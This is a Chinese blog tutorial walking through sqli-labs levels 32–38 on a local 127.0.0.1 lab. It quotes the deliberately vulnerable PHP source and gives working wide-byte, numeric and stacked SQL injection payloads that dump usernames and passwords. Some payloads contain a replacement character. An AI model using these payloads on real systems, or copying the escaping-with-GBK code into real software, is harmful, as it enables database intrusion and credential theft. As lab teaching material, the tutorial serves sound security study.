sqli-labs（超详解）——Lass32~Lass38

陌柒2333

于 2024-08-06 19:18:39 发布

阅读量343

点赞数 9

文章标签： android sql注入

本文链接：https://blog.csdn.net/2201_76115387/article/details/140960359

版权

Lass32（宽字节注入）

源码

function check_addslashes($string)
{
    $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);          //escape any backslash
    $string = preg_replace('/\'/i', '\\\'', $string);                               //escape single quote with a backslash
    $string = preg_replace('/\"/', "\\\"", $string);                                //escape double quote with a backslash
      
    
    return $string;
}

// take the variables 
if(isset($_GET['id']))
{
$id=check_addslashes($_GET['id']);
//echo "The filtered request is :" .$id . "<br>";

//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity 

mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

使用check_addslashes方法里面的preg_replace函数将斜杠，单引号和双引号过滤了，如果输入id=1'会变成id=1\'（在' " \ 等敏感字符前面添加反斜杠）,使得引号不起作用。
但是可以注意到，数据库使用了【gbk编码】。这里我们可以采用宽字节注入。

当某字符的大小为一个字节时，称其字符为窄字节。当某字符的大小为两个字节时，称其字符为宽字节。所有英文默认占一个字节，汉字占两个字节。

宽字节注入原理：

常见的宽字节：GB2312,GBK,GB18030,BIG5等这些都是常见的宽字节，实际为2字节。

如果使用了类似于 set names gbk 这样的语句，既MySQL 在使用 GBK 编码的时候，mysql 数据库就会将 Ascii 大于等于128（%df）的字符当作是汉字字符的一部分（当作汉字处理），同时会认为两个字节为一个汉字，例如 %aa%5c 就是一个汉字。

这种情况下如果我们想去掉sql语句中的一个字节，那么我们在想去的字节前加上一个Ascii 大于等于128（%df）的字节就行了。自己加的字节和想去掉的那个字节会被合起来解析成为汉字。

本题宽字节注入利用：

因为过滤方法主要就是在敏感字符前面添加反斜杠 \，所以这里想办法干掉反斜杠即可。具体利用的话我们可以用%df 吃掉 \（%5c）

因为urlencode(\') = %5c%27，如果我们在 %5c%27前面添加 %df，形成%df%5c%27，MySQL 在 GBK 编码方式的时候会将两个字节当做一个汉字，这个时候就把 %df%5c当做是一个汉字，%27(单引号)则作为一个单独的符号在外面，同时也就达到了我们的目的。

http://127.0.0.1/sqli-labs-master/Less-32/?id=-2%ef'union%20select%201,2,group_concat(username,0x3a,password) from users-- +

Lass33

源码

function check_addslashes($string)
{
    $string= addslashes($string);    
    return $string;
}

// take the variables 
if(isset($_GET['id']))
{
$id=check_addslashes($_GET['id']);
//echo "The filtered request is :" .$id . "<br>";

//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity 

mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

addslashes()函数作用是返回在预定义字符之前添加反斜杠的字符串。

本质上与lass32一样。payload相同

Lass34（post+宽字节）

源码

if(isset($_POST['uname']) && isset($_POST['passwd']))
{
	$uname1=$_POST['uname'];
	$passwd1=$_POST['passwd'];

        //echo "username before addslashes is :".$uname1 ."<br>";
        //echo "Input password before addslashes is : ".$passwd1. "<br>";
        
	//logging the connection parameters to a file for analysis.
	$fp=fopen('result.txt','a');
	fwrite($fp,'User Name:'.$uname1);
	fwrite($fp,'Password:'.$passwd1."\n");
	fclose($fp);
        
        $uname = addslashes($uname1);
        $passwd= addslashes($passwd1);
        
        //echo "username after addslashes is :".$uname ."<br>";
        //echo "Input password after addslashes is : ".$passwd;    

	// connectivity 
	mysql_query("SET NAMES gbk");
	@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

抓包

payload

uname=-1%ef' and 1=2 union select 1,(select group_concat(username,0x3a,password) from users)--+&passwd=1&submit=Submit

Lass35

源码

function check_addslashes($string)
{
    $string = addslashes($string);
    return $string;
}

// take the variables 
if(isset($_GET['id']))
{
$id=check_addslashes($_GET['id']);
//echo "The filtered request is :" .$id . "<br>";

//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity 

mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

无闭合，数字型注入。用了addslashes()函数作为过滤

?id=-1 union select 1,2,(select group_concat(username,0x3a,password) from users)--+

Lass36

源码

function check_quotes($string)
{
    $string= mysql_real_escape_string($string);    
    return $string;
}

// take the variables 
if(isset($_GET['id']))
{
$id=check_quotes($_GET['id']);
//echo "The filtered request is :" .$id . "<br>";

//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity 

mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

过滤函数为mysql_real_escape_string()，作用和addslashes()函数一样。

%ef也可以用�替换

?id=-1%ef'union%20select%201,2,group_concat(username,0x3a,password) from users-- +
or
?id=-1�'union%20select%201,2,group_concat(username,0x3a,password) from users-- +

Lass37

源码

if(isset($_POST['uname']) && isset($_POST['passwd']))
{
	$uname1=$_POST['uname'];
	$passwd1=$_POST['passwd'];

        //echo "username before addslashes is :".$uname1 ."<br>";
        //echo "Input password before addslashes is : ".$passwd1. "<br>";
        
	//logging the connection parameters to a file for analysis.
	$fp=fopen('result.txt','a');
	fwrite($fp,'User Name:'.$uname1);
	fwrite($fp,'Password:'.$passwd1."\n");
	fclose($fp);
        
        $uname = mysql_real_escape_string($uname1);
        $passwd= mysql_real_escape_string($passwd1);
        
        //echo "username after addslashes is :".$uname ."<br>";
        //echo "Input password after addslashes is : ".$passwd;    

	// connectivity 
	mysql_query("SET NAMES gbk");
	@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

过滤函数是mysql_real_escape_string()。依旧是用\过滤单引号。

uname=-1�' and 1=2 union select 1,(select group_concat(username,0x3a,password) from users)--+&passwd=1&submit=Submit

Lass38（堆叠注入）

源码

if (mysqli_multi_query($con1, $sql))

堆叠注入的成因是存在mysqli_multi_query函数，该函数支持多条sql语句同时进行。

堆叠注入：多条命令一起执行。
比如在MySQL中我们知道在输入一个命令之后要用;表示一个指令的输入完成，那么我们就想是否可以在一句指令之后再加上一句指令，就比如 select * from users ; creat/drop table xxxx like users ;这个指令就是在查询users的同时再创建一个名为xxxx的表

堆叠注入原理：
在SQL中，分号（;）是用来表示一条sql语句的结束。我们在分号（;）结束一个sql语句后继续构造下一条语句，就造就了堆叠注入。

union injection（联合注入）和堆叠注入的区别：
union 或者union all执行的语句类型是有限的，可以用来执行查询语句，而堆叠注入可以执行的是任意的语句

局限性：
并不是每一个环境下都可以执行，可能受到 API 或者数据库引擎。
在 Web 中代码通常只返回一个查询结果，因此，堆叠注入第二个语句产生错误或者结果只能被忽略
使用堆叠注入前，我们还需要了解数据库的相关信息才可以，如表名、列名等

注：
mysql中点引号( ’ )和反引号( ` )的区别
mysql中 , linux下不区分，windows下区分

区别:
单引号( ' )或双引号主要用于字符串的引用符号
eg：mysql> SELECT 'hello', "hello" ;

反引号( ` )主要用于数据库、表、索引、列和别名用的引用符是[Esc下面的键]
eg:`mysql>SELECT * FROM `table` WHERE `from` = 'abc' ;

http://127.0.0.1/sqli-labs-master/Less-38/?id=-1'and 1=2 union select 1,2,(select group_concat(username,0x3a,password) from users)--+

陌柒2333

关注

9
点赞
踩
6

收藏

觉得还不错? 一键收藏
0
评论
sqli-labs（超详解）——Lass32~Lass38

源码使用check_addslashes方法里面的preg_replace函数将斜杠，单引号和双引号过滤了，如果输入id=1'会变成id=1\'（在' " \ 等敏感字符前面添加反斜杠）,使得引号不起作用。但是可以注意到，数据库使用了【gbk编码】。这里我们可以采用宽字节注入。当某字符的大小为一个字节时，称其字符为窄字节。当某字符的大小为两个字节时，称其字符为宽字节。所有英文默认占一个字节，汉字占两个字节。
复制链接

扫一扫